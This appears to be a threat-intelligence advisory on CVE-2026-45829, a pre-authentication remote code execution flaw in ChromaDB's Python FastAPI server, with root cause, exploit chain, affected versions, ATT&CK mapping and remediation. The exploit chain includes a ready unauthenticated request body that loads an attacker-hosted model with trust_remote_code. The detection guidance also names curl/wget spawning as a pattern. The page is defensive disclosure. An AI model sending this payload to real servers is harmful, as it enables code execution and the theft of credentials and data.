ChromaDB CVE-2026-45829 "ChromaToast" — Pre-Auth RCE via trust_remote_code Hugging Face Model Load in FastAPI Server (HiddenLayer)

ChromaDB CVE-2026-45829 "ChromaToast" (TL-2026-0544), also tracked as ChromaToast, is a critical-severity software vulnerability scored CVSS 10, first published 2026-05-21. It has no confirmed attribution, affects Chroma ChromaDB (Python FastAPI server), references 1 CVE (CVE-2026-45829), maps to 31 MITRE ATT&CK techniques (T1005, T1027, T1036), and is covered by 9 detection rules and 18 indicators of compromise.

Key facts for TL-2026-0544

Threat ID
TL-2026-0544
Also known as
ChromaToast, ChromaToast Served Pre-Auth
Severity
CRITICAL
CVSS
10 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
Status
ACTIVE
Category
VULNERABILITY
First published
2026-05-21
Last reviewed
2026-05-21
Attribution confidence
NONE
Motivation
UNKNOWN
Target sectors
technology, ai-ml, financial-services, healthcare, saas, startups, research, enterprise-software
Target regions
North America, Europe, Asia-Pacific, Global
Detection rules
9
Indicators of compromise
18

Malware and tooling in ChromaDB CVE-2026-45829 "ChromaToast"

Malware and tooling: ChromaToast (PoC designation), Any (Sliver, Cobalt Strike, Mythic, Merlin, Havoc), Hadrian Nuclei detection template for CVE-2026-45829

HiddenLayer disclosed CVE-2026-45829 ("ChromaToast Served Pre-Auth"), a CVSS v4.0 10.0 pre-authentication remote code execution flaw in ChromaDB's Python FastAPI server. The POST /api/v2/tenants/{tenant}/databases/{db}/collections handler instantiates the embedding function — and downloads/executes the attacker-supplied Hugging Face model via trust_remote_code=True — before the authentication dependency fires. The server returns HTTP 500/403 after the payload has already executed as the ChromaDB process. Roughly 73% of internet-exposed ChromaDB instances run a vulnerable version (1.0.0–1.5.8, with 1.5.9 status unconfirmed by the maintainer), and the PyPI package sees ~14M monthly downloads. Adopters include Capital One, UnitedHealthcare, Weights & Biases, Mintlify, and Factory AI.

How ChromaDB CVE-2026-45829 "ChromaToast" works

Overview

CVE-2026-45829, branded "ChromaToast Served Pre-Auth" by HiddenLayer researcher Esteban Tonglet, is a maximum-severity pre-authentication remote code execution vulnerability in the Python FastAPI server distribution of ChromaDB — a widely deployed open-source vector database used as the memory/retrieval layer for LLM applications. The flaw was scored CVSS v4.0 10.0 (CRITICAL) by the CNA and classified as CWE-94 (Improper Control of Generation of Code — Code Injection). Disclosure to the maintainer began on 2025-11-28; despite a brief triage acknowledgement on 2025-12-16 and repeated follow-ups (direct email, IT-ISAC, and social media outreach through 2026-04-16), the maintainer has not produced a confirmed patch. HiddenLayer published the technical writeup on 2026-05-18.

Root Cause and Vulnerable Code Path

ChromaDB ships two server implementations: a Rust frontend (default for `chroma run` and the official Docker images) and a Python FastAPI server. Only the Python FastAPI server is vulnerable; the Rust server does not traverse this code path. The defect is an authentication-ordering bug — two compounding failures: (1) the server processes client-supplied embedding-function configuration, including arbitrary model identifiers and kwargs, without any allowlist; and (2) it performs that processing (which downloads and instantiates the model) before the FastAPI authentication dependency is enforced.

The defect lives in the `create_collection` handler in `chromadb/server/fastapi/__init__.py`. Per HiddenLayer's writeup, the embedding function is instantiated and the model loaded at line 813, while the authentication check executes at line 818 — well after the exploitation window has closed. The model-instantiation logic itself lives in `chromadb/api/collection_configuration.py`, and the unrestricted kwargs passthrough is implemented in `chromadb/utils/embedding_functions/sentence_transformer_embedding_function.py`. Three registered embedding functions (sentence_transformer plus two transformers-backed variants) forward attacker-controlled kwargs straight to the underlying model loader.

Exploit Chain Analysis

1. Reconnaissance — Attacker fingerprints internet-exposed ChromaDB instances via Shodan/Censys queries for the `/api/v2/heartbeat` endpoint or the default ChromaDB banner; HiddenLayer's Shodan analysis put ~73% of discovered Python-server deployments in the vulnerable 1.0.0+ range. 2. Resource Development — Attacker stages a malicious Hugging Face repository (or any path the server can reach) containing two files: a `config.json` declaring an `auto_map` pointing to a custom Python module, and a `modeling_*.py` whose module-level code is the payload (reverse shell, in-memory loader, secret exfiltration, etc.). 3. Initial Access — Attacker sends a single unauthenticated POST to `/api/v2/tenants/default_tenant/databases/default_database/collections` (the default tenant/database are always present) with a body of the form: `{"name":"poc","configuration":{"embedding_function":{"type":"known","name":"sentence_transformer","config":{"model_name":"attacker/evil-model","device":"cpu","normalize_embeddings":false,"kwargs":{"trust_remote_code":true}}}}}`. 4. Execution — `SentenceTransformerEmbeddingFunction.__init__` calls into `sentence_transformers.SentenceTransformer(model_name, trust_remote_code=True, **kwargs)`. The Hugging Face transformers library resolves `auto_map`, downloads the attacker's Python module into `~/.cache/huggingface/modules/transformers_modules/<repo>/`, imports it, and executes top-level code as the ChromaDB process. 5. Post-Exploitation — Because ChromaDB typically runs with read access to embeddings, vector data, environment variables (API keys, database creds, LLM provider tokens), and often co-located ML model files, common post-exploitation actions include: exfiltrating embedded corpora and the documents indexed into them, stealing OpenAI/Anthropic/Cohere API keys, poisoning existing collections so legitimate clients reload the malicious EF (the secondary collection-poisoning vector also tracked in issue #6717), pivoting into the underlying compute, or installing a persistent C2 (Sliver/Cobalt Strike/Mythic agents). 6. Cleanup — The authentication dependency completes after the payload returns and emits an HTTP 500 (or 403, depending on auth backend), so the offending request looks like a failed/garbled API call in access logs unless operators specifically log the request body.

Exploitation Reliability

The attack is highly reliable: no authentication, no user interaction, default tenant/database identifiers, and a stable target endpoint. The PoC published by Hadrian works against a default deployment with a single curl call. Hadrian also published a non-code-executing Nuclei detection template that fingerprints the flaw by triggering a path-resolution error and confirming the random token reflects in the response body before authentication rejects the request.

Exposure and Impact

The `chromadb` PyPI package draws ~14 million monthly downloads. HiddenLayer's Shodan sweep showed ~73% of internet-exposed Python-FastAPI ChromaDB deployments running 1.0.0 or newer (the vulnerable range). Publicly listed ChromaDB adopters cited by HiddenLayer include Capital One, UnitedHealthcare, Weights & Biases, Mintlify, and Factory AI. Because ChromaDB is overwhelmingly used as the retrieval store for RAG pipelines, a single successful exploit typically yields LLM provider API keys, the document corpus indexed for retrieval (often proprietary or PII-bearing), and a foothold inside the AI application stack.

Patch and Mitigation Status

As of 2026-05-21, the maintainer has not confirmed a patch. Version 1.5.9 was released shortly before HiddenLayer's publication but neither HiddenLayer nor Hadrian could confirm it remediates the issue, and the GitHub security issue chroma-core/chroma#6717 remains open with no patch PR referenced. Defenders should: (a) migrate to the Rust server (`chroma run` or the official Docker images, default since 1.0.0); (b) if the Python FastAPI server must be used, block all unauthenticated network access to the API port and front it with an authenticating reverse proxy that enforces auth at the network edge — relying on ChromaDB's in-process auth is insufficient; (c) hunt for the IOC signatures listed below in historical logs and on disk; (d) audit for collection-poisoning by inspecting persisted embedding-function configurations on every existing collection for non-default `kwargs`, especially `trust_remote_code: true`.

MITRE ATT&CK techniques used in TL-2026-0544

Collection

T1005 Data from Local System; T1213 Data from Information Repositories

Defense Evasion

T1027 Obfuscated Files or Information; T1036 Masquerading; T1070 Indicator Removal

Exfiltration

T1041 Exfiltration Over C2 Channel; T1567 Exfiltration Over Web Service

Discovery

T1046 Network Service Discovery; T1082 System Information Discovery; T1526 Cloud Service Discovery

Execution

T1059 Command and Scripting Interpreter; T1106 Native API; T1204 User Execution

Privilege Escalation

T1068 Exploitation for Privilege Escalation

Command and Control

T1071 Application Layer Protocol; T1102 Web Service; T1105 Ingress Tool Transfer

Initial Access

T1190 Exploit Public-Facing Application; T1195 Supply Chain Compromise

Impact

T1485 Data Destruction; T1565 Data Manipulation

Persistence

T1505 Server Software Component

Credential Access

T1528 Steal Application Access Token; T1552 Unsecured Credentials

Lateral Movement

T1550 Use Alternate Authentication Material

stealth

T1574 Hijack Execution Flow

Resource Development

T1583 Acquire Infrastructure; T1587 Develop Capabilities; T1608 Stage Capabilities

Reconnaissance

T1590 Gather Victim Network Information; T1595 Active Scanning

Affected products and versions in ChromaDB CVE-2026-45829 "ChromaToast"

  • Chroma — ChromaDB (Python FastAPI server)
    Vulnerable versions: 1.0.0 through 1.5.8 (confirmed); 1.5.9 (patch status unconfirmed by maintainer)
  • Chroma — ChromaDB (Rust server / chroma run / chromadb Docker image)
    Fixed in: Not affected — Rust frontend does not traverse the vulnerable code path
  • Chroma — chromadb PyPI package
    Vulnerable versions: 1.0.0; 1.1.x; 1.2.x; 1.3.x; 1.4.x; 1.5.0; 1.5.1; 1.5.2; 1.5.3; 1.5.4

Remediation for ChromaDB CVE-2026-45829 "ChromaToast"

Patches

  • No vendor-confirmed patch as of 2026-05-21. Maintainer released ChromaDB 1.5.9 shortly before disclosure, but patch status is unconfirmed by HiddenLayer, Hadrian, or the maintainer. Track https://github.com/chroma-core/chroma/issues/6717 and https://github.com/chroma-core/chroma/releases for an official fix.

Immediate actions

  • Remove the ChromaDB Python FastAPI server from any internet-exposed network segment immediately; block inbound TCP/8000 (and any custom port) at the perimeter.
  • If the Python server must remain reachable, front it with an authenticating reverse proxy (nginx + auth_request, Cloudflare Access, Tailscale ACLs, AWS ALB with IAM/OIDC) that enforces authentication BEFORE the request reaches the ChromaDB process.
  • Audit every existing collection's persisted embedding function configuration for non-default kwargs — especially any `trust_remote_code: true` — and delete or rebuild any collection whose EF references an untrusted model_name.
  • Hunt logs for POST requests to /api/v2/tenants/*/databases/*/collections containing `trust_remote_code` or `sentence_transformer` in the body; treat any HTTP 500 response on this endpoint as suspect.
  • Rotate every credential reachable from the ChromaDB process — LLM provider API keys (OpenAI, Anthropic, Cohere, Voyage), object-store credentials, database passwords, and any cloud IAM role assumed by the host.

Workarounds

  • Switch to the Rust server distribution (default since 1.0.0; `chroma run` or `chromadb/chroma` Docker image).
  • Place the Python FastAPI server behind an authenticating reverse proxy that rejects unauthenticated requests at the edge.
  • Use a WAF rule blocking request bodies to /api/v2/tenants/*/databases/*/collections that contain the substring `trust_remote_code` or that reference untrusted `model_name` values.
  • Run the ChromaDB process as an unprivileged user inside a container with read-only filesystem, no outbound internet egress (block huggingface.co, cdn-lfs.huggingface.co), and Seccomp/AppArmor restricting execve.

Longer-term hardening

  • Migrate all production deployments to the Rust ChromaDB server (`chroma run` / official Docker images); the Rust frontend does not traverse the vulnerable code path.
  • Adopt a network-isolation posture for all AI/ML retrieval databases: vector stores should be reachable only from the application tier, never from the public internet or from end-user networks.
  • Add CI checks that fail any deployment artifact pinning chromadb<1.5.10 (or whatever the confirmed-fixed version becomes) for the Python FastAPI server.
  • Deploy EDR/runtime-application-self-protection on ChromaDB hosts with rules that alert on the chroma/uvicorn process writing to `~/.cache/huggingface/modules/transformers_modules/` or spawning shells, python subprocesses, or curl/wget.
  • Establish an ML supply-chain governance program: maintain an allowlist of approved Hugging Face repositories and model authors, mirror them internally, and disable `trust_remote_code` globally where the loader supports it.

CVEs associated with ChromaDB CVE-2026-45829 "ChromaToast"

CVE-2026-45829

Weaknesses (CWE) in ChromaDB CVE-2026-45829 "ChromaToast"

CWE-94, CWE-862, CWE-915, CWE-20

Timeline of ChromaDB CVE-2026-45829 "ChromaToast"

  • ChromaDB 1.0.0 ships, introducing the create_collection handler that instantiates the embedding function before authentication — the original source of CVE-2026-45829.
  • HiddenLayer researcher Esteban Tonglet reports the vulnerability and a companion collection-poisoning RCE to the Chroma maintainer via the project's security page (issue #6717).
  • Chroma triage team acknowledges receipt and states they will 'take action if we believe it to be a legitimate security issue' — the only substantive maintainer response in the disclosure cycle.
  • HiddenLayer files a second follow-up via the ChromaDB security page after no further response from the maintainer.
  • HiddenLayer escalates to trychroma.com email contacts to re-engage the maintainer.
  • HiddenLayer engages the IT-ISAC to attempt third-party-mediated disclosure to Chroma.
  • HiddenLayer makes a final cross-channel outreach (email, security page, social media) warning of imminent public disclosure.
  • Chroma maintainer publishes ChromaDB 1.5.9 to PyPI; release notes do not explicitly mention CVE-2026-45829 and patch status is unconfirmed by HiddenLayer and Hadrian.
  • HiddenLayer publishes the 'ChromaToast Served Pre-Auth' research writeup with full technical detail; NVD assigns CVE-2026-45829 with CVSS v4.0 10.0 and CWE-94.
  • Hadrian publishes a working PoC (curl one-liner + malicious modeling_evil.py example) plus a non-code-executing Nuclei detection template; BleepingComputer, SecurityWeek, and The Cyber Express report the story.
  • Threadlinqs Intelligence opens TL-2026-0544 to track CVE-2026-45829; maintainer remains unresponsive, no confirmed-fixed version exists, and ~73% of internet-exposed Python-FastAPI Chroma deployments remain on a vulnerable build.
  • As of 2026-05-29, ChromaToast (CVE-2026-45829, CVSS 10.0 pre-auth RCE) remains unpatched: Chroma issue #6717 is still open, latest 1.5.9 does not fix it, and NVD is awaiting enrichment. A public PoC exists with ~73% of internet-exposed Python-FastAPI instances vulnerable; not yet in CISA KEV, no confirmed mass exploitation.

Sources cited for ChromaDB CVE-2026-45829 "ChromaToast"

Threats related to ChromaDB CVE-2026-45829 "ChromaToast"

Detection coverage for TL-2026-0544

As of 2026-05-21, Threadlinqs Intelligence publishes 9 detection rule(s) for TL-2026-0544 across Splunk SPL, Microsoft KQL and Sigma, covering 18 indicator(s) of compromise. The whole corpus is readable without an account; a free account unlocks full detection query text in Splunk SPL, Microsoft KQL and Sigma; paid tiers add raw indicator values, correlation and the MCP server. Threadlinqs MCP server · View plans.

Threadlinqs Intelligence — Real-Time Threat Detection Platform

[ 0 threats ] [ 0 det ] [ CRIT: 0 ] [ HIGH: 0 ]
// threat_feed
$ sort --newest
Showing all threats

Latest Threats